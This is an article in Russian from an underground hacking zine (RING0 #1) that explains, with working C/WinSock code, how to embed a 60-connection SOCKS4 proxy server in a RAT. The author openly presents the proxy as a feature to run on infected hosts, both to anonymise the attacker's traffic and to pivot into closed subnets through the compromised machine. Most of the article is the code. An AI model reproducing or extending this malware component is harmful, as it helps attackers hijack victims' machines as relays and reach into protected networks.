/*-----------------------------------------------------------------------*/
/* R I N G 0, I S S U E # 1 */
/*-----------------------------------------------------------------------*/
Встраиваем мультиконнектный socks4 в rat
by CNerd/HangUP
Практически каждый автор RAT, дописав основную часть своего детища,
начинает наворачивать на ... эээ ... продукт своего труда всякие
рулезно-кульные фичи и аддоны. И почти наверняка подумывал, а не
встроить ли туда прокси сервер.
И в самом деле, прокси всегда может пригодиться. В этом случае лучше
иметь под рукой на каком-нибудь инифицированном хосте свой собственный,
чем рыскать в поисках анонимных проксей (тем более, что мы на 100% можем
поручиться за безопасность и отсутствие логов - сами же писали).
Замечу также, что прокси сервер может быть использован для
проникновения в закрытую от чужих глаз, рук и других оконечностей
подсеть через установленный на соответственной машине RAT.
Реализовывать будем мультиконнектный (расчитанный на 60 подключений -
для Win9x на поток пределом является 64) Socks4 - достаточно широко
используется и весьма несложен.
Несколько слов по протоколу. Сервер принимает строку, состоящую из
байт:
04 01 PH PL IP IP IP IP
первые 2 байта - символы 04 и 01
вторые 2 байта - соотвественно старший и младший байты порта
да еще 4 байта - IP адрес
После обработки этого бреда, прокся ползет по указанному адресу:порту,
и если с соединением облом, закрывает сокет, если же все путем, то
выдает строку следующего содержания:
00 5A 00 00 00 00 00 00
Собственно, это все, что нам нужно. Итак, для начала объявим парочку
идиотских массивов, переменных и поставим наш сокет на прослушку:
SOCKET as[60],cs[60]; // accepted sockets, proxy client sockets arrays
SOCKET sw; // основной сокет
SOCKADDR_IN sa,st;
int q,r;
HWND hwnd; // хэндл созданного окна
sw=socket(AF_INET,SOCK_STREAM,PF_UNSPEC); // создаем сокет
st.sin_family = AF_INET;
st.sin_addr.s_addr = INADDR_ANY;
st.sin_port = htons(1080); // порт проксика
bind(sw,&st,sizeof(st));
listen(sw,60);
WSAAsyncSelect(sw,hwnd,20000,FD_ACCEPT); // назначаем обработчик
Далее - обработка события FD_ACCEPT, в результате которого мы получим
подтвержденный сокет, и назначим на него обработчики для FD_READ и
FD_CLOSE.
LRESULT CALLBACK WndProc(HWND hwnd, UINT iMsg,
WPARAM wParam, LPARAM lParam)
{
switch (iMsg)
{
case 20000:
/* Соединились с основным сокетом */
if (LOWORD(lParam) == FD_ACCEPT)
{
q=sizeof(sa);
r=accept(wParam,(struct sockaddr*)&sa,&q); // получаем подтвержденный сокет
as[(r-wParam)/4-1]=r; // заносим его в массив
WSAAsyncSelect(r,hwnd,20001,FD_READ|FD_CLOSE); // обработчик чтения и закрытия
}
break;
...
А ниже уже обработка собственно назначенных подтвержденному сокету
FD_READ (запрос на соединение с хостом, создание клиентного сокета и
передача данных туда), FD_CLOSE.
case 20001:
lParam=LOWORD(lParam);
for (r=0;r<60;r++) if (as[r] == wParam) break; // определяем номер сокета
/* Чтение из сокета */
if (lParam == FD_READ)
{
q=recv(as[r],b1,65535,0); // собственно читаем
// Это запрос серверу на соединение с удаленным хостом?
if ((b1[0] == 4) && (b1[1] == 1))
{
closesocket(cs[r]);
cs[r]=socket(AF_INET,SOCK_STREAM,AF_UNSPEC); // создаем клиентный сокет
sa.sin_family=AF_INET; // с таким же номером
// выковыриваем IP
sa.sin_addr.s_addr=MAKELONG(MAKEWORD(b1[4],b1[5]),MAKEWORD(b1[6],b1[7]));
sa.sin_port=htons(b1[3]+b1[2]*256); // и порт
WSAAsyncSelect(cs[r],hwnd,20002,FD_READ|FD_CLOSE|FD_CONNECT);
connect(cs[r],&sa,sizeof(sa));
}
else send(cs[r],b1,q,0); // иначе - передача данных в клиентный сокет
}
/* Закрытие подтвержденного сокета */
if (lParam == FD_CLOSE) closesocket(cs[r]); // мочим соотв. клиентный сокет
break;
...
Ну, наконец добрались и до клиентного сокета - здесь происходит выдача
подтверждения об успешности соединения, и передача данных в обратную
сторону.
case 20002:
lParam=LOWORD(lParam);
for (r=0;r<60;r++) if (cs[r] == wParam) break;
/* Успешно соединились с удаленным хостом! - рапортуем */
if (lParam == FD_CONNECT) send(as[r],"\0\132\0\0\0\0\0\0",8,0); // oct132=dec90=hex5A
/* Передача данных в подтвержденный сокет as[r] */
if (lParam == FD_READ)
{
q=recv(cs[r],b1,65535,0);
send(as[r],b1,q,0);
}
/* Отвалился клиентный сокет, обламываемся */
if (lParam == FD_CLOSE) closesocket(as[r]); // закрываем подтвержденный
break;
...
Ну вот и все. Надеюсь, это достаточный апофигоз для нашей кончита ля
фигедия? Ждем рекомендаций лучших проксеводов. ;)